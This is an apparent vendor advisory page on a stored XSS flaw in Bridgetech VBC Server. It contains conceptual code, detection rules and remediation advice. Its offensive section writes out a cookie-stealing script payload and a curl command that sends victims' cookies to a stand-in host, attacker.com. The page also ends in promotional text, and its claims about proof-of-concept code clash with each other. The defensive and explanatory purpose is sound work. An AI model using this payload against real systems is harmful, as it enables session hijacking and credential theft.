CVE-2025-63211
Executive Summary
CVE-2025-63211 is a stored cross-site scripting (XSS) vulnerability affecting Bridgetech VBC Server & Element Manager, specifically firmware versions 6.5.0-9 through 6.5.0-10. The flaw resides in the /vbc/core/userSetupDoc/userSetupDoc endpoint, where the addName parameter is not properly sanitized before being stored and later rendered. An attacker with network access can inject arbitrary JavaScript or HTML, leading to session hijacking, credential theft, or further compromise of the management interface. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded firmware for Bridgetech VBC Server & Element Manager, which is a closed-source appliance. No open-source supply chain components are involved.
CVSS Breakdown & Threat Level
The NVD has not yet assigned a CVSS vector or score. Based on the vulnerability characteristics, a reasonable estimate is:
- Attack Vector (AV): Network (N) – the endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): Low (L) – an authenticated user with basic privileges can trigger the stored XSS.
- User Interaction (UI): Required (R) – the victim must visit the affected page.
- Scope (S): Changed (C) – the injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – limited data exposure.
- Integrity (I): Low (L) – limited modification of data.
- Availability (A): None (N) – no direct impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 5.4 (Medium)
Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can lead to persistent compromise of administrative sessions.
Deep Dive & Mechanics
The vulnerability is a classic stored cross-site scripting (XSS) flaw in the Bridgetech VBC Server & Element Manager web interface. The addName parameter is accepted by the /vbc/core/userSetupDoc/userSetupDoc endpoint without proper input validation or output encoding. When a user submits a request to this endpoint, the value of addName is stored in the backend database or configuration store. Subsequently, when an administrator or any user views the user setup documentation page, the stored value is rendered in the HTML response without sanitization.
Attack Flow:
- An authenticated attacker sends a POST request to
/vbc/core/userSetupDoc/userSetupDocwith a malicious payload in theaddNameparameter, e.g.,<script>alert('XSS')</script>. - The server stores this payload.
- When a victim (e.g., another admin) navigates to the user setup documentation page, the payload is executed in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or deface the page.
Root Cause: Lack of input sanitization and output encoding for the addName parameter. The application likely uses a templating engine that does not automatically escape HTML entities.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual):
# Flask-like example
@app.route('/vbc/core/userSetupDoc/userSetupDoc', methods=['POST'])
def user_setup_doc():
name = request.form['addName']
# Directly stored without sanitization
db.execute("INSERT INTO user_setup (name) VALUES (?)", (name,))
return "OK"
Patched Code (Expected):
import html
@app.route('/vbc/core/userSetupDoc/userSetupDoc', methods=['POST'])
def user_setup_doc():
name = request.form['addName']
# Sanitize input
safe_name = html.escape(name)
db.execute("INSERT INTO user_setup (name) VALUES (?)", (safe_name,))
return "OK"
Additionally, output encoding should be applied when rendering the stored value in templates.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Access to the Bridgetech VBC Server & Element Manager web interface with valid credentials.
- Network connectivity to the
/vbc/core/userSetupDoc/userSetupDocendpoint.
Exploitation Steps:
- Log in to the web interface.
- Craft a malicious payload. Example:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send a POST request to
/vbc/core/userSetupDoc/userSetupDocwith the payload in theaddNameparameter.curl -X POST https://target/vbc/core/userSetupDoc/userSetupDoc \ -d "addName=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" - Wait for an administrator to view the user setup documentation page.
- The attacker's server receives the victim's cookies.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to
/vbc/core/userSetupDoc/userSetupDocfor suspiciousaddNameparameters containing<script>,onerror,javascript:, or other XSS patterns. - Use web application firewalls (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate impact.
Hunting:
- Search web server logs for requests to the vulnerable endpoint with unusual
addNamevalues. - Review stored data in the user setup documentation for script tags.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/vbc/core/userSetupDoc/userSetupDocwithaddNamecontaining<script>oronerrorattributes. - Outbound connections from the VBC Server to unknown external domains (e.g., attacker-controlled servers).
- POST requests to
- Host IOCs:
- Unexpected JavaScript code stored in the application database or configuration files.
- Modified user setup documentation pages containing injected scripts.
- File IOCs:
- Log entries showing repeated failed XSS attempts or successful payload submissions.
Detection Engineering
YARA Rule
rule CVE_2025_63211_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Bridgetech VBC Server logs or database dumps"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-63211"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
$xss4 = "onload=" nocase
$xss5 = "alert(" nocase
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: CVE-2025-63211 Stored XSS Attempt
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects POST requests to the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/vbc/core/userSetupDoc/userSetupDoc'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'javascript:'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of HTML in documentation (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-63211 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/vbc/core/userSetupDoc/userSetupDoc"; http_uri; content:"addName"; http_client_body; pcre:"/(<script|onerror|javascript:|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: If possible, restrict network access to the VBC Server & Element Manager to trusted IPs only.
- Apply input validation: Implement server-side sanitization for the
addNameparameter. Use a whitelist of allowed characters (e.g., alphanumeric and spaces) if possible. - Enable output encoding: Ensure all stored data is HTML-encoded before rendering in the browser.
- Deploy WAF rules: Block common XSS patterns in POST requests to the vulnerable endpoint.
Long-Term Fix:
- Contact Bridgetech for an official patch. Since the vendor has not released a fix, consider upgrading to a newer firmware version if available.
- Conduct a full security audit of the web interface for similar vulnerabilities.
Workaround:
- Disable the user setup documentation feature if not essential.
- Use a reverse proxy with XSS filtering capabilities.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.